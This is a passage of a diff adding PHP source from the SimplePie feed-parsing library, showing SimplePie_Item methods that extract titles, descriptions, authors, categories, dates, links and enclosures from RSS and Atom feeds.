+			trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
+			return array();
+		}
+	}
+}
+
+class SimplePie_Item
+{
+	var $feed;
+	var $data = array();
+
+	function SimplePie_Item($feed, $data)
+	{
+		$this->feed = $feed;
+		$this->data = $data;
+	}
+
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			unset($this->feed);
+		}
+	}
+
+	function get_item_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_base($element = array())
+	{
+		return $this->feed->get_base($element);
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->feed->sanitize($data, $type, $base);
+	}
+
+	function get_feed()
+	{
+		return $this->feed;
+	}
+
+	function get_id($hash = false)
+	{
+		if (!$hash)
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags('', 'guid'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (($return = $this->get_permalink()) !== null)
+			{
+				return $return;
+			}
+			elseif (($return = $this->get_title()) !== null)
+			{
+				return $return;
+			}
+		}
+		if ($this->get_permalink() !== null || $this->get_title() !== null)
+		{
+			return md5($this->get_permalink() . $this->get_title());
+		}
+		else
+		{
+			return md5(serialize($this->data));
+		}
+	}
+
+	function get_title()
+	{
+		if (!isset($this->data['title']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags('', 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$this->data['title'] = null;
+			}
+		}
+		return $this->data['title'];
+	}
+
+	function get_description($description_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (!$description_only)
+		{
+			return $this->get_content(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_content($content_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_content_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif (!$content_only)
+		{
+			return $this->get_description(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_item_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->feed->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->feed->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * @todo Atom inheritance (item author, source author, feed author)
+	 */
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->feed->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->feed->author_class($name, $url, $email);
+			}
+		}
+		if ($author = $this->get_item_tags('', 'author'))
+		{
+			$authors[] =& new $this->feed->author_class(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
+		{
+			return $authors;
+		}
+		elseif ($authors = $this->feed->get_authors())
+		{
+			return $authors;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['date']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags('', 'pubDate'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['date']['raw']))
+			{
+				$parser = SimplePie_Parse_Date::get();
+				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['date'] = null;
+			}
+		}
+		if ($this->data['date'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['date']['parsed'];
+
+				default:
+					return date($date_format, $this->data['date']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_local_date($date_format = '%c')
+	{
+		if (!$date_format)
+		{
+			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (($date = $this->get_date('U')) !== null)
+		{
+			return strftime($date_format, $date);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_permalink()
+	{
+		$link = $this->get_link();
+		$enclosure = $this->get_enclosure(0);
+		if ($link !== null)
+		{
+			return $link;
+		}
+		elseif ($enclosure !== null)
+		{
+			return $enclosure->get_link();
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if ($links[$key] !== null)
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+				}
+			}
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+				}
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags('', 'guid'))
+			{
+				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) == 'true')
+				{
+					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+				}
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * @todo Add ability to prefer one type of content over another (in a media group).
+	 */
+	function get_enclosure($key = 0, $prefer = null)
+	{
+		$enclosures = $this->get_enclosures();
+		if (isset($enclosures[$key]))
+		{
+			return $enclosures[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Grabs all available enclosures (podcasts, etc.)
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * At this point, we're pretty much assuming that all enclosures for an item are the same content.  Anything else is too complicated to properly support.
+	 *
+	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
+	 * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists).
+	 */
+	function get_enclosures()
+	{
+		if (!isset($this->data['enclosures']))
+		{
+			$this->data['enclosures'] = array();
+
+			// Elements
+			$captions_parent = null;
+			$categories_parent = null;
+			$copyrights_parent = null;
+			$credits_parent = null;
+			$description_parent = null;
+			$duration_parent = null;
+			$hashes_parent = null;
+			$keywords_parent = null;
+			$player_parent = null;
+			$ratings_parent = null;
+			$restrictions_parent = null;
+			$thumbnails_parent = null;
+			$title_parent = null;
+
+			// Let's do the channel and item-level ones first, and just re-use them if we need to.
+			$parent = $this->get_feed();
+
+			// CAPTIONS
+			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+				}
+			}
+			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+				}
+			}
+			if (is_array($captions_parent))
+			{
+				$captions_parent = array_values(SimplePie_Misc::array_unique($captions_parent));
+			}
+
+			// CATEGORIES
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
+			{
+				$term = null;
+				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
+				$label = null;
+				if (isset($category['attribs']['']['text']))
+				{
+					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+
+				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
+				{
+					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
+					{
+						if (isset($subcategory['attribs']['']['text']))
+						{
+							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+					}
+				}
+			}
+			if (is_array($categories_parent))
+			{
+				$categories_parent = array_values(SimplePie_Misc::array_unique($categories_parent));
+			}
+
+			// COPYRIGHT
+			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+			}
+			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+			}
+
+			// CREDITS
+			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
